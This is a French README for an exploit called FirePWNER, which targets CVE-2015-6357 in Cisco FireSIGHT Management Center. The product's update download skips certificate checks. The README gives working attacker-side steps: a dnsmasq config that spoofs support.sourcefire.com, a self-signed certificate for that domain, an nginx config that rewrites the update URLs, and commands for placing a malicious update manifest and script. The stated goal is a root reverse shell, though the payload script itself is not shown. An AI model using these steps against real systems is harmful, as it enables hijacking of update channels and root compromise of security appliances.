mattimustang/firepwnerExploit pour CVE-2015-6357 Cisco FireSIGHT Management Center - Vulnérabilité de validation de certificat
À elle seule, la [vulnérabilité de validation de certificat du Cisco FireSIGHT Management Center][3] est une vulnérabilité de sévérité moyenne avec un CVSS de 5.1. Cependant, cette vulnérabilité est un exemple de l'importance de la validation des certificats SSL. Dans cet exploit, je vais démontrer comment la vulnérabilité peut être exploitée pour obtenir une exécution de commande à distance privilégiée sur un système Cisco FireSIGHT. L'exploit enchaîne la vulnérabilité de validation SSL avec le processus de mise à jour logicielle sur le système Cisco FireSIGHT pour tromper le système cible afin qu'il télécharge une mise à jour malveillante et l'exécute pour obtenir un shell inverse avec les privilèges root.
L'appliance Cisco FireSIGHT Management Center est utilisée pour gérer les systèmes de prévention d'intrusion (IPS) Cisco FirePOWER, également connus sous le nom de Sourcefire IPS. FireSIGHT est responsable du téléchargement des signatures IPS mises à jour et de leur installation sur les périphériques IPS gérés.
Le FireSIGHT Management Center permet à un administrateur de lancer manuellement une mise à jour des règles IPS ou de planifier les mises à jour pour qu'elles se produisent quotidiennement/hebdomadairement/mensuellement.
Lorsque le FireSIGHT Management Center effectue une mise à jour, il utilise la commande UNIX curl pour effectuer le téléchargement depuis [Sourcefire Support][1]. L'invocation de la commande curl reçoit l'option -k (alias --insecure) qui indique à curl de ne pas valider les certificats SSL présentés par le serveur.
Voici la sortie de ps du serveur téléchargeant une mise à jour :
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
Les mises à jour FireSIGHT se présentent sous la forme d'un script shell généré par [makeself][2] qui contient à la fois des commandes shell UNIX Bourne et les données binaires à livrer dans la mise à jour. Ces scripts shell de mise à jour sont exécutés directement sur le serveur FireSIGHT en tant qu'utilisateur local www.
Un attaquant capable d'effectuer une attaque de l'homme du milieu contre un serveur FireSIGHT peut le forcer à se connecter à une version usurpée du site Web [Sourcefire Support][1] et à télécharger un script de mise à jour malveillant qui exécutera toute commande souhaitée par l'attaquant sur le serveur FireSIGHT.
La vulnérabilité de validation SSL permet à cela de se produire, ce qui fait que le système ignore joyeusement le certificat SSL usurpé de l'attaquant, télécharge la mise à jour malveillante et l'exécute.
Si la commande curl devait valider le certificat SSL, elle échouerait à télécharger le script malveillant et protégerait le serveur FireSIGHT de l'attaquant.
Cet exploit démontre le danger de ne pas valider le certificat SSL en exploitant la vulnérabilité pour obtenir une exécution de commande à distance en tant qu'utilisateur root.
Le scénario d'attaque est celui où un attaquant a acquis la capacité de faire de l'homme du milieu sur le trafic entre le serveur FireSIGHT et le site Web https://support.sourcefire.com. La façon la plus simple de démontrer cela est de mettre en place un serveur DNS « compromis » qui répond aux requêtes pour le domaine support.sourcefire.com avec l'adresse IP d'un serveur Web que l'attaquant contrôle.
Dans un scénario d'attaque réel, l'attaquant peut utiliser un certain nombre de techniques d'homme du milieu pour parvenir aux mêmes fins. Telles que :
Cet exploit a été testé contre les versions d'appliance virtuelle FireSIGHT suivantes :
Dans la preuve de concept ci-dessous, le serveur FireSIGHT s'est vu attribuer l'adresse IP 192.168.1.99.
L'hôte attaquant exécutait Kali Linux 2.0, bien que la configuration ci-dessous devrait fonctionner sur n'importe quel serveur basé sur Debian Linux. L'adresse IP de l'hôte Kali dans l'exemple ci-dessous est 192.168.1.1. L'hôte Kali est utilisé pour exécuter le serveur DNS ainsi que le site Web [Sourcefire Support][1] usurpé.
L'exploit nécessite la capacité d'usurper la réponse DNS pour support.sourcefire.com. Un serveur dnsmasq est exécuté pour fournir cette capacité et agir comme serveur DNS « compromis ».
Installer dnsmasq :
root@kali# apt-get install dnsmasq
Configurer dnsmasq :
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
Modifiez l'adresse IP dans la ligne address pour qu'elle soit l'adresse du serveur Web à partir duquel vous servirez les mises à jour.
Démarrer dnsmasq :
root@kali# service dnsmasq start
Un serveur Web est nécessaire pour servir l'exploit au serveur FireSIGHT lorsqu'il demande une mise à jour.
Installer le serveur Web nginx :
root@kali# apt-get install nginx
Créer un certificat auto-signé pour usurper support.sourcefire.com :
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
Configurer nginx en remplaçant le contenu de /etc/nginx/sites-available/default par :
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
Démarrer nginx :
root@kali# service nginx start
L'exploit FirePWNER nécessite que deux fichiers soient servis à partir du serveur Web. Le premier fichier est le manifeste de mise à jour qui est un fichier XML contenant une liste des mises à jour disponibles, leur emplacement de téléchargement et les hachages MD5.
Vous devez d'abord créer quelques répertoires :
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
Copiez ensuite les fichiers d'exploit dans ceux-ci :
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh